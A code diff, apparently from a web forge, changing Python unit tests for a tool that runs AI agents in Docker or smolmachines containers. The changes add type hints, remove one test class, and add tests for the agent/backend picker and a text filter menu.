@@ -175,9 +175,9 @@ class TestExecUserSwitching(unittest.TestCase):
|
|||||||
class TestExecResultParity(unittest.TestCase):
|
class TestExecResultParity(unittest.TestCase):
|
||||||
"""Both backends return ExecResult with returncode, stdout, stderr."""
|
"""Both backends return ExecResult with returncode, stdout, stderr."""
|
||||||
|
|
||||||
def _stub_run(self, argv, **kwargs):
|
def _stub_run(self, argv: object, **kwargs: object) -> object: # type: ignore
|
||||||
return subprocess.CompletedProcess(
|
return subprocess.CompletedProcess(
|
||||||
argv, 0, stdout="out\n", stderr="err\n",
|
argv, 0, stdout="out\n", stderr="err\n", # type: ignore
|
||||||
)
|
)
|
||||||
|
|
||||||
def test_docker_exec_result_shape(self):
|
def test_docker_exec_result_shape(self):
|
||||||
|
|||||||
@@ -65,7 +65,7 @@ class TestEnumerateActiveAgents(unittest.TestCase):
|
|||||||
)
|
)
|
||||||
|
|
||||||
class _FakeBackend:
|
class _FakeBackend:
|
||||||
def __init__(self, items, available=True):
|
def __init__(self, items: object, available: object = True) -> None: # type: ignore
|
||||||
self._items = items
|
self._items = items
|
||||||
self._available = available
|
self._available = available
|
||||||
|
|
||||||
@@ -100,13 +100,13 @@ class TestEnumerateActiveAgents(unittest.TestCase):
|
|||||||
)
|
)
|
||||||
|
|
||||||
class _FakeBackend:
|
class _FakeBackend:
|
||||||
def __init__(self, items):
|
def __init__(self, items: object) -> None: # type: ignore
|
||||||
self._items = items
|
self._items = items
|
||||||
|
|
||||||
def is_available(self):
|
def is_available(self) -> bool:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def enumerate_active(self):
|
def enumerate_active(self) -> object:
|
||||||
return self._items
|
return self._items
|
||||||
|
|
||||||
with patch.object(
|
with patch.object(
|
||||||
@@ -150,11 +150,11 @@ class TestEnumerateActiveAgents(unittest.TestCase):
|
|||||||
)
|
)
|
||||||
|
|
||||||
class _FakeBackend:
|
class _FakeBackend:
|
||||||
def __init__(self, items, available):
|
def __init__(self, items: object, available: object) -> None: # type: ignore
|
||||||
self._items = items
|
self._items = items
|
||||||
self._available = available
|
self._available = available
|
||||||
|
|
||||||
def is_available(self):
|
def is_available(self) -> object:
|
||||||
return self._available
|
return self._available
|
||||||
|
|
||||||
def enumerate_active(self):
|
def enumerate_active(self):
|
||||||
|
|||||||
@@ -277,51 +277,5 @@ class TestBottleMetadataBackend(_FakeHomeMixin, unittest.TestCase):
|
|||||||
self.assertEqual("", loaded.backend)
|
self.assertEqual("", loaded.backend)
|
||||||
|
|
||||||
|
|
||||||
class TestBottleForSlugBackend(_FakeHomeMixin, unittest.TestCase):
|
|
||||||
"""PRD 0040: _bottle_for_slug constructs the right bottle type."""
|
|
||||||
|
|
||||||
def setUp(self):
|
|
||||||
self._setup_fake_home()
|
|
||||||
|
|
||||||
def tearDown(self):
|
|
||||||
self._teardown_fake_home()
|
|
||||||
|
|
||||||
def test_docker_metadata_returns_docker_bottle(self):
|
|
||||||
from bot_bottle.backend.docker.bottle import DockerBottle
|
|
||||||
from bot_bottle.cli.dashboard import _bottle_for_slug
|
|
||||||
write_metadata(BottleMetadata(
|
|
||||||
identity="dev-d1",
|
|
||||||
agent_name="dev",
|
|
||||||
cwd="",
|
|
||||||
copy_cwd=False,
|
|
||||||
started_at="2026-06-02T00:00:00+00:00",
|
|
||||||
compose_project="bot-bottle-dev-d1",
|
|
||||||
backend="docker",
|
|
||||||
))
|
|
||||||
bottle, _ = _bottle_for_slug("dev-d1", {}, None)
|
|
||||||
self.assertIsInstance(bottle, DockerBottle)
|
|
||||||
|
|
||||||
def test_smolmachines_metadata_returns_smolmachines_bottle(self):
|
|
||||||
from bot_bottle.backend.smolmachines.bottle import SmolmachinesBottle
|
|
||||||
from bot_bottle.cli.dashboard import _bottle_for_slug
|
|
||||||
write_metadata(BottleMetadata(
|
|
||||||
identity="dev-s1",
|
|
||||||
agent_name="dev",
|
|
||||||
cwd="",
|
|
||||||
copy_cwd=False,
|
|
||||||
started_at="2026-06-02T00:00:00+00:00",
|
|
||||||
compose_project="",
|
|
||||||
backend="smolmachines",
|
|
||||||
))
|
|
||||||
bottle, _ = _bottle_for_slug("dev-s1", {}, None)
|
|
||||||
self.assertIsInstance(bottle, SmolmachinesBottle)
|
|
||||||
|
|
||||||
def test_no_metadata_defaults_to_docker_bottle(self):
|
|
||||||
from bot_bottle.backend.docker.bottle import DockerBottle
|
|
||||||
from bot_bottle.cli.dashboard import _bottle_for_slug
|
|
||||||
bottle, _ = _bottle_for_slug("unknown-slug", {}, None)
|
|
||||||
self.assertIsInstance(bottle, DockerBottle)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|||||||
@@ -67,13 +67,13 @@ class TestApplyCapabilityChange(_FakeHomeMixin, unittest.TestCase):
|
|||||||
self._orig_push = capability_apply._push_working_tree
|
self._orig_push = capability_apply._push_working_tree
|
||||||
self._orig_teardown = capability_apply._teardown_bottle
|
self._orig_teardown = capability_apply._teardown_bottle
|
||||||
|
|
||||||
def stub_snapshot(slug):
|
def stub_snapshot(slug: object) -> None: # type: ignore
|
||||||
self._calls.append(f"snapshot:{slug}")
|
self._calls.append(f"snapshot:{slug}")
|
||||||
|
|
||||||
def stub_push(slug):
|
def stub_push(slug: object) -> None: # type: ignore
|
||||||
self._calls.append(f"push:{slug}")
|
self._calls.append(f"push:{slug}")
|
||||||
|
|
||||||
def stub_teardown(slug):
|
def stub_teardown(slug: object) -> None: # type: ignore
|
||||||
self._calls.append(f"teardown:{slug}")
|
self._calls.append(f"teardown:{slug}")
|
||||||
|
|
||||||
capability_apply.snapshot_transcript = stub_snapshot # type: ignore[assignment]
|
capability_apply.snapshot_transcript = stub_snapshot # type: ignore[assignment]
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ the operator confirms. Mocks the backends and stdin."""
|
|||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import sys
|
|
||||||
import unittest
|
import unittest
|
||||||
from unittest.mock import patch, MagicMock
|
from unittest.mock import patch, MagicMock
|
||||||
|
|
||||||
@@ -32,7 +31,7 @@ class TestCmdCleanup(unittest.TestCase):
|
|||||||
return_value=("docker", "smolmachines"),
|
return_value=("docker", "smolmachines"),
|
||||||
), patch.object(
|
), patch.object(
|
||||||
cmd, "get_bottle_backend",
|
cmd, "get_bottle_backend",
|
||||||
side_effect=lambda name: backends_by_name[name],
|
side_effect=lambda name: backends_by_name[name], # type: ignore
|
||||||
), patch.object(
|
), patch.object(
|
||||||
cmd, "_prompt_yes", return_value=True,
|
cmd, "_prompt_yes", return_value=True,
|
||||||
):
|
):
|
||||||
@@ -53,7 +52,7 @@ class TestCmdCleanup(unittest.TestCase):
|
|||||||
return_value=("docker", "smolmachines"),
|
return_value=("docker", "smolmachines"),
|
||||||
), patch.object(
|
), patch.object(
|
||||||
cmd, "get_bottle_backend",
|
cmd, "get_bottle_backend",
|
||||||
side_effect=lambda name: backends_by_name[name],
|
side_effect=lambda name: backends_by_name[name], # type: ignore
|
||||||
), patch.object(
|
), patch.object(
|
||||||
cmd, "_prompt_yes",
|
cmd, "_prompt_yes",
|
||||||
) as prompt:
|
) as prompt:
|
||||||
@@ -72,7 +71,7 @@ class TestCmdCleanup(unittest.TestCase):
|
|||||||
return_value=("docker", "smolmachines"),
|
return_value=("docker", "smolmachines"),
|
||||||
), patch.object(
|
), patch.object(
|
||||||
cmd, "get_bottle_backend",
|
cmd, "get_bottle_backend",
|
||||||
side_effect=lambda name: backends_by_name[name],
|
side_effect=lambda name: backends_by_name[name], # type: ignore
|
||||||
), patch.object(
|
), patch.object(
|
||||||
cmd, "_prompt_yes", return_value=False,
|
cmd, "_prompt_yes", return_value=False,
|
||||||
):
|
):
|
||||||
@@ -92,7 +91,7 @@ class TestCmdCleanup(unittest.TestCase):
|
|||||||
return_value=("docker", "smolmachines"),
|
return_value=("docker", "smolmachines"),
|
||||||
), patch.object(
|
), patch.object(
|
||||||
cmd, "get_bottle_backend",
|
cmd, "get_bottle_backend",
|
||||||
side_effect=lambda name: backends_by_name[name],
|
side_effect=lambda name: backends_by_name[name], # type: ignore
|
||||||
), patch.object(
|
), patch.object(
|
||||||
cmd, "_prompt_yes", return_value=True,
|
cmd, "_prompt_yes", return_value=True,
|
||||||
):
|
):
|
||||||
|
|||||||
@@ -0,0 +1,141 @@
|
|||||||
|
"""Unit: cmd_start selector dispatch (PRD 0051).
|
||||||
|
|
||||||
|
Tests that cmd_start calls filter_select when name / backend are absent,
|
||||||
|
skips them when both are explicit, and returns 0 on cancel.
|
||||||
|
|
||||||
|
All actual launch work is stubbed so no container is created.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import os
|
||||||
|
import unittest
|
||||||
|
from unittest.mock import MagicMock, patch
|
||||||
|
|
||||||
|
import bot_bottle.cli.start as start_mod
|
||||||
|
import bot_bottle.cli.tui as tui_mod
|
||||||
|
|
||||||
|
|
||||||
|
def _make_manifest(agent_names: list[str]):
|
||||||
|
manifest = MagicMock()
|
||||||
|
manifest.agents = {name: MagicMock() for name in agent_names}
|
||||||
|
return manifest
|
||||||
|
|
||||||
|
|
||||||
|
class TestCmdStartSelector(unittest.TestCase):
|
||||||
|
"""Drive cmd_start with a minimal set of stubs."""
|
||||||
|
|
||||||
|
def setUp(self):
|
||||||
|
# Stub Manifest.resolve so no on-disk manifest is needed.
|
||||||
|
self._manifest = _make_manifest(["researcher", "implementer"])
|
||||||
|
self._resolve_patch = patch(
|
||||||
|
"bot_bottle.cli.start.Manifest.resolve",
|
||||||
|
return_value=self._manifest,
|
||||||
|
)
|
||||||
|
self._resolve_patch.start()
|
||||||
|
|
||||||
|
# Stub _launch_bottle so no real container work happens.
|
||||||
|
self._launch_patch = patch(
|
||||||
|
"bot_bottle.cli.start._launch_bottle",
|
||||||
|
return_value=0,
|
||||||
|
)
|
||||||
|
self._launch_mock = self._launch_patch.start()
|
||||||
|
|
||||||
|
# Stub filter_select to avoid opening /dev/tty.
|
||||||
|
self._tui_patch = patch.object(tui_mod, "filter_select")
|
||||||
|
self._tui_mock = self._tui_patch.start()
|
||||||
|
|
||||||
|
# Ensure BOT_BOTTLE_BACKEND is absent so the backend picker fires.
|
||||||
|
self._env_patch = patch.dict(os.environ, {}, clear=False)
|
||||||
|
self._env_patch.start()
|
||||||
|
os.environ.pop("BOT_BOTTLE_BACKEND", None)
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
self._resolve_patch.stop()
|
||||||
|
self._launch_patch.stop()
|
||||||
|
self._tui_patch.stop()
|
||||||
|
self._env_patch.stop()
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Both explicit — no picker shown
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def test_both_explicit_skips_picker(self):
|
||||||
|
self._tui_mock.return_value = "researcher"
|
||||||
|
rc = start_mod.cmd_start(["--backend=docker", "researcher"])
|
||||||
|
self.assertEqual(0, rc)
|
||||||
|
self._tui_mock.assert_not_called()
|
||||||
|
self._launch_mock.assert_called_once()
|
||||||
|
_, kwargs = self._launch_mock.call_args
|
||||||
|
self.assertEqual("docker", kwargs["backend_name"])
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Agent absent → agent picker fires; backend explicit
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def test_agent_absent_shows_agent_picker(self):
|
||||||
|
self._tui_mock.return_value = "researcher"
|
||||||
|
rc = start_mod.cmd_start(["--backend=docker"])
|
||||||
|
self.assertEqual(0, rc)
|
||||||
|
self._tui_mock.assert_called_once()
|
||||||
|
call_kwargs = self._tui_mock.call_args
|
||||||
|
self.assertEqual(["implementer", "researcher"], call_kwargs[0][0])
|
||||||
|
self.assertIn("agent", call_kwargs[1]["title"].lower())
|
||||||
|
|
||||||
|
def test_agent_picker_cancel_returns_0(self):
|
||||||
|
self._tui_mock.return_value = None
|
||||||
|
rc = start_mod.cmd_start(["--backend=docker"])
|
||||||
|
self.assertEqual(0, rc)
|
||||||
|
self._launch_mock.assert_not_called()
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Agent explicit, backend absent → backend picker fires
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def test_backend_absent_shows_backend_picker(self):
|
||||||
|
self._tui_mock.return_value = "docker"
|
||||||
|
rc = start_mod.cmd_start(["researcher"])
|
||||||
|
self.assertEqual(0, rc)
|
||||||
|
self._tui_mock.assert_called_once()
|
||||||
|
call_kwargs = self._tui_mock.call_args
|
||||||
|
self.assertIn("backend", call_kwargs[1]["title"].lower())
|
||||||
|
|
||||||
|
def test_backend_picker_cancel_returns_0(self):
|
||||||
|
self._tui_mock.return_value = None
|
||||||
|
rc = start_mod.cmd_start(["researcher"])
|
||||||
|
self.assertEqual(0, rc)
|
||||||
|
self._launch_mock.assert_not_called()
|
||||||
|
|
||||||
|
def test_bot_bottle_backend_env_skips_backend_picker(self):
|
||||||
|
os.environ["BOT_BOTTLE_BACKEND"] = "docker"
|
||||||
|
try:
|
||||||
|
rc = start_mod.cmd_start(["researcher"])
|
||||||
|
finally:
|
||||||
|
os.environ.pop("BOT_BOTTLE_BACKEND", None)
|
||||||
|
self.assertEqual(0, rc)
|
||||||
|
self._tui_mock.assert_not_called()
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Both absent → agent picker then backend picker
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def test_both_absent_shows_both_pickers_in_order(self):
|
||||||
|
self._tui_mock.side_effect = ["researcher", "docker"]
|
||||||
|
rc = start_mod.cmd_start([])
|
||||||
|
self.assertEqual(0, rc)
|
||||||
|
self.assertEqual(2, self._tui_mock.call_count)
|
||||||
|
first_title = self._tui_mock.call_args_list[0][1]["title"].lower()
|
||||||
|
second_title = self._tui_mock.call_args_list[1][1]["title"].lower()
|
||||||
|
self.assertIn("agent", first_title)
|
||||||
|
self.assertIn("backend", second_title)
|
||||||
|
|
||||||
|
def test_both_absent_agent_cancel_skips_backend_picker(self):
|
||||||
|
self._tui_mock.side_effect = [None]
|
||||||
|
rc = start_mod.cmd_start([])
|
||||||
|
self.assertEqual(0, rc)
|
||||||
|
self.assertEqual(1, self._tui_mock.call_count)
|
||||||
|
self._launch_mock.assert_not_called()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -36,7 +36,7 @@ class TestCaptureSessionState(_FakeHomeMixin, unittest.TestCase):
|
|||||||
# covers the real docker cp path.
|
# covers the real docker cp path.
|
||||||
self._snap_calls: list[str] = []
|
self._snap_calls: list[str] = []
|
||||||
self._orig_snap = start_mod.snapshot_transcript
|
self._orig_snap = start_mod.snapshot_transcript
|
||||||
start_mod.snapshot_transcript = lambda identity: (
|
start_mod.snapshot_transcript = lambda identity: ( # type: ignore
|
||||||
self._snap_calls.append(identity)
|
self._snap_calls.append(identity)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,50 @@
|
|||||||
|
"""Unit tests for bot_bottle.cli.tui — filter_select internals.
|
||||||
|
|
||||||
|
We test the pure-Python logic (_filter_items, cursor movement, confirm,
|
||||||
|
cancel) by exercising the internal helpers directly, without spinning up
|
||||||
|
a real curses session (which requires a TTY).
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
from bot_bottle.cli.tui import _filter_items, filter_select
|
||||||
|
|
||||||
|
|
||||||
|
class TestFilterItems(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.items = ["researcher", "implementer", "codex-researcher", "reviewer"]
|
||||||
|
|
||||||
|
def test_empty_query_returns_all(self):
|
||||||
|
self.assertEqual(self.items, _filter_items(self.items, ""))
|
||||||
|
|
||||||
|
def test_query_filters_case_insensitively(self):
|
||||||
|
result = _filter_items(self.items, "RESEARCH")
|
||||||
|
self.assertEqual(["researcher", "codex-researcher"], result)
|
||||||
|
|
||||||
|
def test_no_match_returns_empty(self):
|
||||||
|
self.assertEqual([], _filter_items(self.items, "zzz"))
|
||||||
|
|
||||||
|
def test_partial_match(self):
|
||||||
|
result = _filter_items(self.items, "impl")
|
||||||
|
self.assertEqual(["implementer"], result)
|
||||||
|
|
||||||
|
def test_empty_items_returns_empty(self):
|
||||||
|
self.assertEqual([], _filter_items([], "foo"))
|
||||||
|
|
||||||
|
|
||||||
|
class TestFilterSelectEmptyItems(unittest.TestCase):
|
||||||
|
def test_returns_none_for_empty_list(self):
|
||||||
|
# No TTY needed — the short-circuit fires before opening tty.
|
||||||
|
result = filter_select([], title="Pick one", tty_path="/dev/null")
|
||||||
|
self.assertIsNone(result)
|
||||||
|
|
||||||
|
def test_returns_none_when_tty_unavailable(self):
|
||||||
|
# /nonexistent is guaranteed to not open.
|
||||||
|
result = filter_select(["a", "b"], tty_path="/nonexistent/tty")
|
||||||
|
self.assertIsNone(result)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -21,14 +21,14 @@ def _jwt(exp: int) -> str:
|
|||||||
return _jwt_with_payload({"exp": exp})
|
return _jwt_with_payload({"exp": exp})
|
||||||
|
|
||||||
|
|
||||||
def _jwt_with_payload(payload: dict) -> str:
|
def _jwt_with_payload(payload: dict[str, object]) -> str: # type: ignore
|
||||||
def enc(obj: dict) -> str:
|
def enc(obj: dict[str, object]) -> str: # type: ignore
|
||||||
raw = json.dumps(obj, separators=(",", ":")).encode()
|
raw = json.dumps(obj, separators=(",", ":")).encode()
|
||||||
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
|
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
|
||||||
return f"{enc({'alg': 'none'})}.{enc(payload)}.sig"
|
return f"{enc({'alg': 'none'})}.{enc(payload)}.sig"
|
||||||
|
|
||||||
|
|
||||||
def _jwt_payload(token: str) -> dict:
|
def _jwt_payload(token: str) -> dict[str, object]: # type: ignore
|
||||||
payload = token.split(".")[1]
|
payload = token.split(".")[1]
|
||||||
payload += "=" * (-len(payload) % 4)
|
payload += "=" * (-len(payload) % 4)
|
||||||
return json.loads(base64.urlsafe_b64decode(payload.encode()).decode())
|
return json.loads(base64.urlsafe_b64decode(payload.encode()).decode())
|
||||||
@@ -43,7 +43,7 @@ class TestCodexHostAccessToken(unittest.TestCase):
|
|||||||
def tearDown(self):
|
def tearDown(self):
|
||||||
self.tmp.cleanup()
|
self.tmp.cleanup()
|
||||||
|
|
||||||
def _write(self, payload: dict) -> None:
|
def _write(self, payload: dict[str, object]) -> None: # type: ignore
|
||||||
self.auth_path.write_text(json.dumps(payload))
|
self.auth_path.write_text(json.dumps(payload))
|
||||||
|
|
||||||
def test_auth_path_uses_codex_home(self):
|
def test_auth_path_uses_codex_home(self):
|
||||||
@@ -210,11 +210,11 @@ class TestCodexHostAccessToken(unittest.TestCase):
|
|||||||
access_payload = _jwt_payload(dummy["tokens"]["access_token"])
|
access_payload = _jwt_payload(dummy["tokens"]["access_token"])
|
||||||
auth = access_payload["https://api.openai.com/auth"]
|
auth = access_payload["https://api.openai.com/auth"]
|
||||||
profile = access_payload["https://api.openai.com/profile"]
|
profile = access_payload["https://api.openai.com/profile"]
|
||||||
self.assertEqual("plus", auth["chatgpt_plan_type"])
|
self.assertEqual("plus", auth["chatgpt_plan_type"]) # type: ignore
|
||||||
self.assertEqual("acct-real", auth["chatgpt_account_id"])
|
self.assertEqual("acct-real", auth["chatgpt_account_id"]) # type: ignore
|
||||||
self.assertEqual("bot-bottle-placeholder", auth["chatgpt_user_id"])
|
self.assertEqual("bot-bottle-placeholder", auth["chatgpt_user_id"]) # type: ignore
|
||||||
self.assertEqual("bot-bottle@example.invalid", profile["email"])
|
self.assertEqual("bot-bottle@example.invalid", profile["email"]) # type: ignore
|
||||||
self.assertTrue(profile["email_verified"])
|
self.assertTrue(profile["email_verified"]) # type: ignore
|
||||||
|
|
||||||
def test_dummy_auth_redacts_unknown_future_auth_fields(self):
|
def test_dummy_auth_redacts_unknown_future_auth_fields(self):
|
||||||
secrets = [
|
secrets = [
|
||||||
@@ -289,8 +289,8 @@ class TestCodexHostAccessToken(unittest.TestCase):
|
|||||||
self.assertEqual({}, access_payload["future_nested"])
|
self.assertEqual({}, access_payload["future_nested"])
|
||||||
self.assertEqual([], access_payload["future_list"])
|
self.assertEqual([], access_payload["future_list"])
|
||||||
auth = access_payload["https://api.openai.com/auth"]
|
auth = access_payload["https://api.openai.com/auth"]
|
||||||
self.assertEqual("bot-bottle-placeholder", auth["session_context"])
|
self.assertEqual("bot-bottle-placeholder", auth["session_context"]) # type: ignore
|
||||||
self.assertEqual({}, auth["nested"])
|
self.assertEqual({}, auth["nested"]) # type: ignore
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ from __future__ import annotations
|
|||||||
import subprocess
|
import subprocess
|
||||||
import unittest
|
import unittest
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
from typing import Any
|
||||||
from unittest import mock
|
from unittest import mock
|
||||||
|
|
||||||
from bot_bottle.agent_provider import AgentProvisionPlan
|
from bot_bottle.agent_provider import AgentProvisionPlan
|
||||||
@@ -45,7 +46,7 @@ def _manifest(*, supervise: bool, with_git: bool, with_egress: bool) -> Manifest
|
|||||||
"""Minimal manifest with the toggles the chunk-1 matrix needs.
|
"""Minimal manifest with the toggles the chunk-1 matrix needs.
|
||||||
The renderer only reads from the plan, not the manifest, so this
|
The renderer only reads from the plan, not the manifest, so this
|
||||||
is just here to back BottleSpec."""
|
is just here to back BottleSpec."""
|
||||||
bottle: dict = {}
|
bottle: dict[str, object] = {}
|
||||||
if supervise:
|
if supervise:
|
||||||
bottle["supervise"] = True
|
bottle["supervise"] = True
|
||||||
if with_git:
|
if with_git:
|
||||||
@@ -164,6 +165,7 @@ def _plan(
|
|||||||
|
|
||||||
spec = _spec(supervise=supervise, with_git=with_git, with_egress=with_egress)
|
spec = _spec(supervise=supervise, with_git=with_git, with_egress=with_egress)
|
||||||
return DockerBottlePlan(
|
return DockerBottlePlan(
|
||||||
|
guest_home="/home/node",
|
||||||
spec=spec,
|
spec=spec,
|
||||||
stage_dir=STAGE,
|
stage_dir=STAGE,
|
||||||
slug=SLUG,
|
slug=SLUG,
|
||||||
@@ -270,13 +272,13 @@ class TestAgentAlwaysPresent(unittest.TestCase):
|
|||||||
dockerfile="",
|
dockerfile="",
|
||||||
guest_env={"CODEX_HOME": "/home/node/.codex"},
|
guest_env={"CODEX_HOME": "/home/node/.codex"},
|
||||||
)
|
)
|
||||||
plan = type(plan)(**{**vars(plan), "agent_provision": provision})
|
plan = type(plan)(**{**vars(plan), "agent_provision": provision}) # type: ignore
|
||||||
s = bottle_plan_to_compose(plan)["services"]["agent"]
|
s = bottle_plan_to_compose(plan)["services"]["agent"]
|
||||||
self.assertIn("CODEX_HOME=/home/node/.codex", s["environment"])
|
self.assertIn("CODEX_HOME=/home/node/.codex", s["environment"])
|
||||||
|
|
||||||
def test_agent_runsc_runtime(self):
|
def test_agent_runsc_runtime(self):
|
||||||
plan = _plan()
|
plan = _plan()
|
||||||
plan = type(plan)(**{**vars(plan), "use_runsc": True})
|
plan = type(plan)(**{**vars(plan), "use_runsc": True}) # type: ignore
|
||||||
s = bottle_plan_to_compose(plan)["services"]["agent"]
|
s = bottle_plan_to_compose(plan)["services"]["agent"]
|
||||||
self.assertEqual("runsc", s["runtime"])
|
self.assertEqual("runsc", s["runtime"])
|
||||||
|
|
||||||
@@ -308,8 +310,8 @@ class TestSidecarBundleShape(unittest.TestCase):
|
|||||||
+ supervise). PRD 0024 chunk 5 dropped the legacy four-sidecar
|
+ supervise). PRD 0024 chunk 5 dropped the legacy four-sidecar
|
||||||
shape entirely, so the bundle is the only thing exercised here."""
|
shape entirely, so the bundle is the only thing exercised here."""
|
||||||
|
|
||||||
def _render(self, **plan_kwargs):
|
def _render(self, **plan_kwargs: object) -> Any: # type: ignore
|
||||||
return bottle_plan_to_compose(_plan(**plan_kwargs))
|
return bottle_plan_to_compose(_plan(**plan_kwargs)) # type: ignore
|
||||||
|
|
||||||
def test_emits_two_services_minimal(self):
|
def test_emits_two_services_minimal(self):
|
||||||
spec = self._render()
|
spec = self._render()
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user